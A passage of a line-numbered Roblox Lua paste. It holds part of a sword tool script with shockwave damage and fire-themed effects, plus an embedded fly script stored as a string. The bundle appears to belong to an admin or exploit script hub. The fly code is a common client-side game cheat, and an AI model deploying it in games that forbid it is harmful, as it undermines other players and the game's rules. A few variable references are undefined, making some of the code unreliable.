  9275. if Mode == "Fire" then
  9276. end
  9277. damagesplat(5,humanoid.Parent.Torso,false)
  9278. table.insert(AoETrue,hit.Parent)
  9279. end
  9280.  
  9281. if humanoid.Health <= 0 then
  9282. local c = hit.CFrame
  9283. hit.CFrame = CFrame.new(hit.Position)
  9284. hit.CFrame = c
  9285. end
  9286. delay(1, function() end)
  9287. else
  9288. local c = hit.CFrame hit.CFrame = CFrame.new(hit.Position) hit.CFrame = c
  9289. end
  9290. end
  9291. function bewm(obj, pos, notme)
  9292. if (obj ~= notme) then
  9293. if (obj.className == "Part") or (obj.className == "Seat") then
  9294. if (not obj.Anchored) and (((pos - obj.Position) * Vector3.new(1, 0, 1)).magnitude < 24) and (pos.y <= obj.Position.y + 2) and (pos.y >= obj.Position.y - 2) then
  9295. delay((pos - obj.Position).magnitude / 24, function() obj.Velocity = ((obj.Position - pos).unit + Vector3.new(0, 0.5, 0)) * 96 + obj.Velocity obj.RotVelocity = obj.RotVelocity + Vector3.new(obj.Position.z - pos.z, 0, pos.x - obj.Position.x).unit * 40 doDamage(obj) end)
  9296. end
  9297. elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then
  9298. local list = obj:GetChildren()
  9299. for x = 1, #list do
  9300. bewm(list[x], pos, notme)
  9301. end
  9302. end
  9303. end
  9304. end
  9305.  
  9306. function attackr()
  9307. local shockRing = Instance.new("Part")
  9308. shockRing.formFactor = 2
  9309. shockRing.Size = Vector3.new(1, 0.4, 1)
  9310. shockRing.Anchored = true
  9311. shockRing.Locked = true
  9312. shockRing.CanCollide = false
  9313. shockRing.archivable = false
  9314. shockRing.TopSurface = 0
  9315. shockRing.BottomSurface = 0
  9316. shockRing.Transparency = 0
  9317. if Mode == "Fire" then
  9318. shockRing.BrickColor = BrickColor.new("Really red")
  9319. elseif Mode == "Dark" then
  9320. shockRing.BrickColor = BrickColor.new("Bright violet")
  9321. elseif Mode == "Ice" then
  9322. shockRing.BrickColor = BrickColor.new("Bright blue")
  9323. shockRing.Reflectance = 0.2
  9324. end
  9325. local decal = Instance.new("CylinderMesh")
  9326. decal.Parent = shockRing
  9327. decal.Scale = Vector3.new(1,0.1,1)
  9328. wait(0.2)
  9329. local pos = hammer.CFrame * (Vector3.new(0, -2.5, 0))
  9330. bewm(game.Workspace, pos, Player.Character)
  9331. shockRing.CFrame = CFrame.new(pos)
  9332. for x = 0, 1 , 0.0625 do
  9333. delay((x*16) / 30, function() shockRing.Parent = nil shockRing.Size = Vector3.new(0, 0.4, 0) + Vector3.new(3.2, 0, 3.2) * (x*16) shockRing.Transparency = 1*x shockRing.Parent = Player.Character end)
  9334. end
  9335. delay(1, function()
  9336. shockRing.Parent = nil
  9337. for ii = 1 , #AoETrue do
  9338. table.remove(AoETrue,#AoETrue)
  9339. end end)
  9340. end
  9341. local modemodel = Instance.new("Model",swordholder)
  9342. local mrdychng = false
  9343. function FireMode()
  9344. attack=true
  9345. Mode = "Fire"
  9346. fireboost = 5
  9347. mrdychng = true
  9348. for i = 0 , 1 , 0.1 do
  9349. wait()
  9350. RW.C0 = CFrame.new(1+0.5*i,0.5+1*i,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+55*i), math.rad(45-45*i), math.rad(-45+45*i))
  9351. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9352. LW.C0 = CFrame.new(-1+1*i,0.5+1*i,-0.5-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80-80*i),math.rad(-45+45*i),math.rad(45+65*i))
  9353. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9354. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9355. end
  9356. cs(Head,1.5)
  9357. local tempmod = Instance.new("Model",swordholder)
  9358. for l = 1 , 20 do
  9359. local meshz = Instance.new("SpecialMesh")
  9360. meshz.Scale = Vector3.new(0.5,0.5,0.5)
  9361. meshz.MeshType = "Sphere"
  9362. local shellz = Instance.new("Part")
  9363. meshz.Parent = shellz
  9364. shellz.Anchored = false
  9365. shellz.formFactor = 0
  9366. shellz.Size = Vector3.new(1,1,1)
  9367. shellz.CFrame = hitbox.CFrame * CFrame.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
  9368. shellz.Parent = tempmod
  9369. shellz.Transparency = 0.5
  9370. shellz.BrickColor = BrickColor.new("Really red")
  9371. shellz.CanCollide = false
  9372. shellz.Reflectance = 0
  9373. local bv = Instance.new("BodyPosition")
  9374. bv.Parent = shellz
  9375. bv.maxForce = Vector3.new(200000,200000,200000)
  9376. bv.position = shellz.Position
  9377. coroutine.resume(coroutine.create(function()
  9378. for i = 0 , 1 , 0.025 do
  9379. wait()
  9380. shellz.Transparency = 1-1*i
  9381. end
  9382. shellz.Transparency = 0
  9383. end))
  9384. coroutine.resume(coroutine.create(function()
  9385. wait(0.05)
  9386. bv.position = hitbox.Position
  9387. for i = 1 , 20 do
  9388. wait(0.1)
  9389. bv.position = shell.Position
  9390. end
  9391. shellz.Parent = nil
  9392. end))
  9393. wait(0.01)
  9394. end
  9395. coroutine.resume(coroutine.create(function ()
  9396. wait(0.25)
  9397. tempmod.Parent = nil
  9398. end))
  9399. for i = 0 , 1 , 0.2 do
  9400. wait()
  9401. RW.C0 = CFrame.new(1.5,1.5-1*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(135-45*i), math.rad(0), math.rad(0))
  9402. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9403. LW.C0 = CFrame.new(0,1.5-1*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(110-45*i))
  9404. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9405. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9406. end
  9407. bs(Head,0.75)
  9408. attackr()
  9409. for zz = 1 , 1 do
  9410. local mesh = Instance.new("SpecialMesh")
  9411. mesh.MeshType = "FileMesh"
  9412. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  9413. mesh.Scale = Vector3.new(10,5,10) * Vector3.new(0.01,0.01,0.01)
  9414. local shell = Instance.new("Part")
  9415. mesh.Parent = shell
  9416. shell.Anchored = true
  9417. shell.formFactor = 1
  9418. shell.Size = Vector3.new(1,1,1)
  9419. shell.CFrame = Torso.CFrame * CFrame.new(0,-1.5,0)
  9420. shell.Parent = swordholder
  9421. shell.Transparency = 0
  9422. shell.BrickColor = BrickColor.new("Really red")
  9423. shell.CanCollide = false
  9424. coroutine.resume(coroutine.create(function()
  9425. for i = 0 , 1 , 0.075 do
  9426. wait()
  9427. mesh.Scale = Vector3.new(20,5,20) * Vector3.new(i,1,i)
  9428. shell.Transparency = 1*i
  9429. end
  9430. shell.Transparency = 1
  9431. shell.Parent = nil
  9432. end))
  9433. end
  9434. for zz = 1 , 1 do
  9435. local mesh = Instance.new("SpecialMesh")
  9436. mesh.MeshType = "FileMesh"
  9437. mesh.MeshId = "http://www.roblox.com/asset/?id=20329976"
  9438. mesh.Scale = Vector3.new(10,20,10) * Vector3.new(0.01,0.01,0.01)
  9439. local shell = Instance.new("Part")
  9440. mesh.Parent = shell
  9441. shell.Anchored = true
  9442. shell.formFactor = 1
  9443. shell.Size = Vector3.new(1,1,1)
  9444. shell.CFrame = Torso.CFrame * CFrame.new(0,1,0)
  9445. shell.Parent = swordholder
  9446. shell.Transparency = 0
  9447. shell.BrickColor = BrickColor.new("Really red")
  9448. shell.CanCollide = false
  9449. coroutine.resume(coroutine.create(function()
  9450. for i = 0 , 1 , 0.05 do
  9451. wait()
  9452. mesh.Scale = Vector3.new(10,20,10) * Vector3.new(i,1,i)
  9453. shell.Transparency = 1*i
  9454. end
  9455. shell.Transparency = 1
  9456. shell.Parent = nil
  9457. end))
  9458. end
  9459. for zz = 1 , 3 do
  9460. local mesh = Instance.new("SpecialMesh")
  9461. mesh.MeshType = "Sphere"
  9462. mesh.Scale = Vector3.new(5*zz,5*zz,5*zz) * Vector3.new(0.01,0.01,0.01)
  9463. local shell = Instance.new("Part")
  9464. mesh.Parent = shell
  9465. shell.Anchored = true
  9466. shell.formFactor = 3
  9467. shell.Size = Vector3.new(1,1,1)
  9468. shell.CFrame = Torso.CFrame * CFrame.new(0,-1,0)
  9469. shell.Parent = swordholder
  9470. shell.Transparency = 0
  9471. if math.fmod(zz,2) == 1 then
  9472. shell.BrickColor = BrickColor.new("Bright orange")
  9473. elseif math.fmod(zz,2) == 0.5 then
  9474. shell.BrickColor = BrickColor.new("Bright red")
  9475. else
  9476. shell.BrickColor = BrickColor.new("Bright yellow")
  9477. end
  9478. shell.CanCollide = false
  9479. coroutine.resume(coroutine.create(function()
  9480. for i = 0 , 1 , 0.025 do
  9481. wait()
  9482. mesh.Scale = Vector3.new(10*zz,10*zz,10*zz) * Vector3.new(i,i,i)
  9483. shell.Transparency = 1*i
  9484. end
  9485. shell.Transparency = 1
  9486. shell.Parent = nil
  9487. end))
  9488. end
  9489.  
  9490.  
  9491. for ii,z in pairs(modemodel:GetChildren()) do
  9492. z.Parent = nil
  9493. end
  9494.  
  9495. local wing1m = Instance.new("BlockMesh")
  9496. wing1m.Scale = Vector3.new(1,1,1)
  9497. local wing1p = Instance.new("Part")
  9498. wing1p.formFactor = 3
  9499. wing1p.CanCollide = false
  9500. wing1p.Name = "FlameWingP1"
  9501. wing1p.Locked = true
  9502. wing1p.Size = Vector3.new(0.2,0.2,0.2)
  9503. wing1p.Parent = modemodel
  9504. wing1m.Parent = wing1p
  9505. wing1p.BrickColor = BrickColor.new("Bright red")
  9506. wing1p.Transparency = 1
  9507. local wing1w = Instance.new("Weld")
  9508. wing1w.Parent = wing1p
  9509. wing1w.Part0 = wing1p
  9510. wing1w.Part1 = Torso
  9511. wing1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
  9512. wing1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(-1, 0, 0)
  9513. local wing2m = Instance.new("BlockMesh")
  9514. wing2m.Scale = Vector3.new(1,1,1)
  9515. local wing2p = Instance.new("Part")
  9516. wing2p.formFactor = 3
  9517. wing2p.CanCollide = false
  9518. wing2p.Name = "FlameWingP2"
  9519. wing2p.Locked = true
  9520. wing2p.Size = Vector3.new(0.2,0.2,0.2)
  9521. wing2p.Parent = modemodel
  9522. wing2m.Parent = wing2p
  9523. wing2p.BrickColor = BrickColor.new("Bright red")
  9524. wing2p.Transparency = 1
  9525. local wing2w = Instance.new("Weld")
  9526. wing2w.Parent = wing2p
  9527. wing2w.Part0 = wing2p
  9528. wing2w.Part1 = Torso
  9529. wing2w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
  9530. wing2w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(1, 0, 0)
  9531. coroutine.resume(coroutine.create(function()
  9532. for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do
  9533. wait(0.1)
  9534. local ringm = Instance.new("BlockMesh")
  9535. ringm.Scale = Vector3.new(1,1,1)
  9536. local ringp = Instance.new("Part")
  9537. ringp.formFactor = 3
  9538. ringp.CanCollide = false
  9539. ringp.Name = "FlameWing"..ringi
  9540. ringp.Locked = true
  9541. ringp.Size = Vector3.new(0.2,2,0.8)
  9542. ringp.Parent = modemodel
  9543. ringm.Parent = ringp
  9544. ringp.BrickColor = BrickColor.new("Bright red")
  9545. ringp.Reflectance = 0.1
  9546. ringp.Transparency = 1
  9547. local ringw = Instance.new("Weld")
  9548. ringw.Parent = ringp
  9549. ringw.Part0 = ringp
  9550. ringw.Part1 = wing1p
  9551. ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi, 0, 0) * CFrame.new(0, ringp.Size.y/4 , 0)
  9552. ringw.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(45)) * CFrame.new(0, -1, 0) --* CFrame.new(-0.6, 0, 0) ---msh5.Scale.x/1.625
  9553. coroutine.resume(coroutine.create(function()
  9554. for i = 0 , 1 , 0.025 do
  9555. wait()
  9556. ringp.Transparency = 1-1*i
  9557. end
  9558. ringp.Transparency = 0
  9559. end))
  9560. end end))
  9561. coroutine.resume(coroutine.create(function()
  9562. for ringi = math.rad(-20) , math.rad(130) , math.rad(10) do
  9563. wait(0.1)
  9564. local ringm = Instance.new("BlockMesh")
  9565. ringm.Scale = Vector3.new(1,1,1)
  9566. local ringp = Instance.new("Part")
  9567. ringp.formFactor = 3
  9568. ringp.CanCollide = false
  9569. ringp.Name = "FlameWing2_"..ringi
  9570. ringp.Locked = true
  9571. ringp.Size = Vector3.new(0.2,2,0.8)
  9572. ringp.Parent = modemodel
  9573. ringm.Parent = ringp
  9574. ringp.BrickColor = BrickColor.new("Bright red")
  9575. ringp.Reflectance = 0.1
  9576. ringp.Transparency = 1
  9577. local ringw = Instance.new("Weld")
  9578. ringw.Parent = ringp
  9579. ringw.Part0 = ringp
  9580. ringw.Part1 = wing2p
  9581. ringw.C1 = CFrame.fromEulerAnglesXYZ(ringi+math.rad(0), 0, 0) * CFrame.new(-0, ringp.Size.y/4 , 0)
  9582. ringw.C0 = CFrame.fromEulerAnglesXYZ(0, 0,math.rad(-45)) * CFrame.new(-0, -1, 0)
  9583. coroutine.resume(coroutine.create(function()
  9584. for i = 0 , 1 , 0.025 do
  9585. wait()
  9586. ringp.Transparency = 1-1*i
  9587. end
  9588. ringp.Transparency = 0
  9589. end))
  9590. end end))
  9591. local wingp1m = Instance.new("SpecialMesh")
  9592. wingp1m.Scale = Vector3.new(1,1,1)
  9593. wingp1m.MeshType = "Sphere"
  9594. local wingp1p = Instance.new("Part")
  9595. wingp1p.formFactor = 3
  9596. wingp1p.CanCollide = false
  9597. wingp1p.Name = "FlameOrb"
  9598. wingp1p.Locked = true
  9599. wingp1p.Size = Vector3.new(1,1,1)
  9600. wingp1p.Parent = modemodel
  9601. wingp1m.Parent = wingp1p
  9602. wingp1p.Reflectance = 0.2
  9603. wingp1p.BrickColor = BrickColor.new("Bright red")
  9604. local wingp1w = Instance.new("Weld")
  9605. wingp1w.Parent = wingp1p
  9606. wingp1w.Part0 = wingp1p
  9607. wingp1w.Part1 = Torso
  9608. wingp1w.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0 , 0)
  9609. wingp1w.C0 = CFrame.fromEulerAnglesXYZ(math.rad(0), 0,math.rad(0)) * CFrame.new(0, -0.5, 0.5)
  9610. coroutine.resume(coroutine.create(function()
  9611. for i = 0 , 1 , 0.025 do
  9612. wait()
  9613. wingp1p.Transparency = 1-1*i
  9614. end
  9615. wingp1p.Transparency = 0
  9616. end))
  9617. local Firee = modemodel
  9618. local Spawn = wingp1p
  9619. local colors = {BrickColor.new("Bright red"),BrickColor.new("Bright yellow"),BrickColor.new("Bright orange")}
  9620. local Embers = {}
  9621. local modelz = Instance.new("Model",Firee)
  9622. modelz.Name = "FireHolder"
  9623. for X = 1, 15 do
  9624. local f = Instance.new("Part")
  9625. f.Parent = nil
  9626. f.BrickColor = colors[math.random(1, # colors)]
  9627. f.Size = Vector3.new(1,1,1)
  9628. f.formFactor = 3
  9629. f.Anchored = true
  9630. f.Locked = true
  9631. f.CanCollide = false
  9632. f.Transparency = 0.5
  9633. f.Name = "Fire"
  9634. f.TopSurface = 0
  9635. f.BottomSurface = 0
  9636. Instance.new("BlockMesh",f)
  9637. table.insert(Embers, f)
  9638. end
  9639. local R = 0
  9640. coroutine.resume(coroutine.create(function ()
  9641. repeat
  9642. wait()
  9643. R = R + 1
  9644. for X = 1, # Embers do
  9645. Embers[X].Parent = modelz
  9646. local FM = math.fmod(R + X, # Embers)
  9647. if FM == 1 then
  9648. RandPos = Vector3.new(math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10, Spawn.Size.y / 2, math.random(-Spawn.Size.x * 5, Spawn.Size.x * 5) / 10)
  9649. RandDir = Vector3.new(math.random(-100,100), math.random(-100,100), math.random(-100,100))
  9650. Embers[X].CFrame = CFrame.new(Spawn.Position + RandPos, (Spawn.Position * rndm) + RandPos + RandDir)
  9651. Embers[X].Mesh.Scale = Vector3.new(1,1,1)
  9652. else
  9653. Embers[X].CFrame = Embers[X].CFrame + Embers[X].CFrame.lookVector*0.5
  9654. Embers[X].Mesh.Scale = Embers[X].Mesh.Scale - Vector3.new(0.1,0.1,0.1)
  9655. end
  9656. end
  9657. until wingp1p.Parent == nil
  9658. for i = 0 ,1 , 0.1 do
  9659. wait(0.2)
  9660. for X = 1, # Embers do
  9661. Embers[X].Transparency = 0.5+0.5*i
  9662. end
  9663. end
  9664. for X = 1, # Embers do
  9665. Embers[X].Parent = nil
  9666. end
  9667. end))
  9668. for ii = 1 , #AoETrue do
  9669. table.remove(AoETrue,#AoETrue)
  9670. end
  9671. wait(0.25)
  9672. for i = 0 , 1 , 0.1 do
  9673. wait()
  9674. RW.C0 = CFrame.new(1.5,0.5+0.5*i,0) * CFrame.fromEulerAnglesXYZ(math.rad(90+25*i), math.rad(0), math.rad(0))
  9675. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9676. LW.C0 = CFrame.new(0,0.5+0.5*i,-1) * CFrame.fromEulerAnglesXYZ(math.rad(0),math.rad(0),math.rad(65+25*i))
  9677. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9678. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9679. end
  9680. for i = 0 , 1 , 0.1 do
  9681. wait()
  9682. RW.C0 = CFrame.new(1.5,1-0.5*i,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(115-35*i), math.rad(45*i), math.rad(-45*i))
  9683. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9684. LW.C0 = CFrame.new(-1*i,1-0.5*i,-1+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80*i),math.rad(0),math.rad(90-45*i))
  9685. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9686. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(180-180*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9687. end
  9688. RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
  9689. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9690. LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9691. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9692. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9693. attack=false
  9694. wait(1.5)
  9695. mrdychng = false
  9696. end
  9697. function NeutralMode()
  9698. attack=true
  9699. Mode = "None"
  9700. fireboost = 0
  9701. iceboost = 0
  9702. darkboost = 0
  9703. ss(Head,1)
  9704. cs(Head,2)
  9705. mrdychng = true
  9706. for i = 0 , 1 , 0.2 do
  9707. wait()
  9708. RW.C0 = CFrame.new(1+0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i), math.rad(45), math.rad(-45+45*i))
  9709. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0))
  9710. LW.C0 = CFrame.new(-1-0.5*i,0.5,-0.5+0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(80+10*i),math.rad(-45),math.rad(45-45*i))
  9711. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100*i), math.rad(0), math.rad(0))
  9712. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9713. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9714. end
  9715. coroutine.resume(coroutine.create(function()
  9716. for ii,z in pairs(modemodel:GetChildren()) do
  9717. if string.sub(z.Name,0,string.len(z.Name)-1) ~= "FlameWingP" then
  9718. wait()
  9719. coroutine.resume(coroutine.create(function()
  9720. for i = 0 , 1 , 0.1 do
  9721. wait()
  9722. z.Transparency = (1-z.Transparency)*i
  9723. end
  9724. z.Parent = nil
  9725. end))
  9726. end
  9727. end
  9728. wait(0.5)
  9729. for ii,z in pairs(modemodel:GetChildren()) do
  9730. wait()
  9731. z.Parent = nil
  9732. end
  9733. end))
  9734. for i = 0 , 1 , 0.1 do
  9735. wait()
  9736. RW.C0 = CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(45), math.rad(0))
  9737. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0))
  9738. LW.C0 = CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(90),math.rad(-45),math.rad(0))
  9739. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(100+20*i), math.rad(0), math.rad(0))
  9740. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9741. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(70+20*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9742. end
  9743.  
  9744. wait(0.25)
  9745. for i = 0 , 1 , 0.1 do
  9746. wait()
  9747. RW.C0 = CFrame.new(1.5-0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i), math.rad(45), math.rad(-45*i))
  9748. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0))
  9749. LW.C0 = CFrame.new(-1.5+0.5*i,0.5,-0.5*i) * CFrame.fromEulerAnglesXYZ(math.rad(90-10*i),math.rad(-45),math.rad(45*i))
  9750. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(120-120*i), math.rad(0), math.rad(0))
  9751. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9752. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(90-90*i), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9753. end
  9754. RW.C0 = CFrame.new(1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80), math.rad(45), math.rad(-45))
  9755. RW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9756. LW.C0 = CFrame.new(-1,0.5,-0.5) * CFrame.fromEulerAnglesXYZ(math.rad(80),math.rad(-45),math.rad(45))
  9757. LW.C1 = CFrame.new(0,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(0), math.rad(0), math.rad(0))
  9758. w1.C1 = CFrame.fromEulerAnglesXYZ(0, 0, 0) * CFrame.new(0, 0,0)
  9759. w1.C0 = CFrame.fromEulerAnglesXYZ(math.rad(90), math.rad(0), math.rad(90)) * CFrame.new(0, 0, 0.2)
  9760. attack=false
  9761. wait(0.5)
  9762. mrdychng = false
  9763. end
  9764.  
  9765. function ob1d(mouse)
  9766. hold = true
  9767. if attack == true then return end
  9768. end
  9769. function ob1u(mouse)
  9770. end
  9771. buttonhold = false
  9772. function key(key)
  9773. if attack == true then return end
  9774. if key == "q" then
  9775. if attacktype == 1 then
  9776. Combo1a()
  9777. elseif attacktype == 2 then
  9778. Combo1b()
  9779. elseif attacktype == 3 then
  9780. Combo1c()
  9781. end
  9782. end
  9783. if key == "e" then
  9784. if attacktype == 1 then
  9785. BlizzardSword()
  9786. end
  9787. end
  9788. if key == "r" then
  9789. FlameTrail()
  9790. end
  9791. if key == "t" then
  9792. LifeDrain()
  9793. end
  9794. if Mode == "None" and not mrdychng then
  9795. if key == "z" then
  9796. FireMode()
  9797. end
  9798. elseif not mrdychng then
  9799. if key == "z" or key == "x" or key == "c" then
  9800. NeutralMode()
  9801. end
  9802. end
  9803. end
  9804.  
  9805. function key2(key)
  9806. end
  9807. function s(mouse)
  9808. repeat wait() until not attack
  9809. while ev.Value ~= false do
  9810. wait(0.1)
  9811. end
  9812. MMouse = mouse
  9813. mouse.Button1Down:connect(function() ob1d(mouse) end)
  9814. mouse.Button1Up:connect(function() ob1u(mouse) end)
  9815. mouse.KeyDown:connect(key)
  9816. mouse.KeyUp:connect(key2)
  9817. equipanim()
  9818. ev.Value = true
  9819. end
  9820. function ds(mouse)
  9821. repeat wait() until not attack
  9822. while ev.Value == false do
  9823. wait(0.1)
  9824. end
  9825.  
  9826. hideanim()
  9827. wait(0.1)
  9828. ev.Value = false
  9829. end
  9830. Bin.Selected:connect(s)
  9831. Bin.Deselected:connect(ds)
  9832. ]]
  9833. Fly = [[
  9834. repeat
  9835. wait()
  9836. until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and
  9837. game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  9838. local mouse = game.Players.LocalPlayer:GetMouse()
  9839. repeat
  9840. wait()
  9841. until mouse ~= nil
  9842. local plr = game.Players.LocalPlayer
  9843. local torso = plr.Character.Torso
  9844. local flying = false
  9845. local deb = true
  9846. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  9847. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  9848. local maxspeed = 50
  9849. local speed = 0
  9850. function Fly()
  9851. local bg = Instance.new("BodyGyro", torso)
  9852. bg.P = 9e4
  9853. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  9854. bg.cframe = torso.CFrame
  9855. local bv = Instance.new("BodyVelocity", torso)
  9856. bv.velocity = Vector3.new(0,0,0)
  9857. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  9858. repeat
  9859. wait()
  9860. plr.Character.Humanoid.PlatformStand = true
  9861. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  9862. speed = speed+.5+(speed/maxspeed)
  9863. if speed > maxspeed then
  9864. speed = maxspeed
  9865. end
  9866. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  9867. speed = speed-1 if speed < 0 then
  9868. speed = 0
  9869. end
  9870. end
  9871. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  9872. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame *
  9873. CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  9874. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  9875. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  9876. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame
  9877. * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed else bv.velocity =
  9878. Vector3.new(0,0,0) end bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  9879. until not flying ctrl = {f = 0, b = 0, l = 0, r = 0}
  9880. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  9881. speed = 0
  9882. bg:Destroy()
  9883. bv:Destroy() plr.Character.Humanoid.PlatformStand = false
  9884. end
  9885. mouse.KeyDown:connect(function(key) if key:lower() == "e" then
  9886. if flying then flying = false else flying = true Fly() end elseif key:lower() == "w" then
  9887. ctrl.f = 1
  9888. elseif key:lower() == "s" then ctrl.b = -1 elseif key:lower() == "a" then ctrl.l = -1
  9889. elseif key:lower() == "d" then ctrl.r = 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then ctrl.f = 0 elseif key:lower() ==
  9890. "s" then ctrl.b = 0 elseif key:lower() == "a" then ctrl.l = 0
  9891. elseif key:lower() == "d" then ctrl.r = 0 end end)
  9892. ]]
  9893. ConnectSource = [[
  9894. wait(0.001)
  9895. if script:findFirstChild'source' ~= nil then
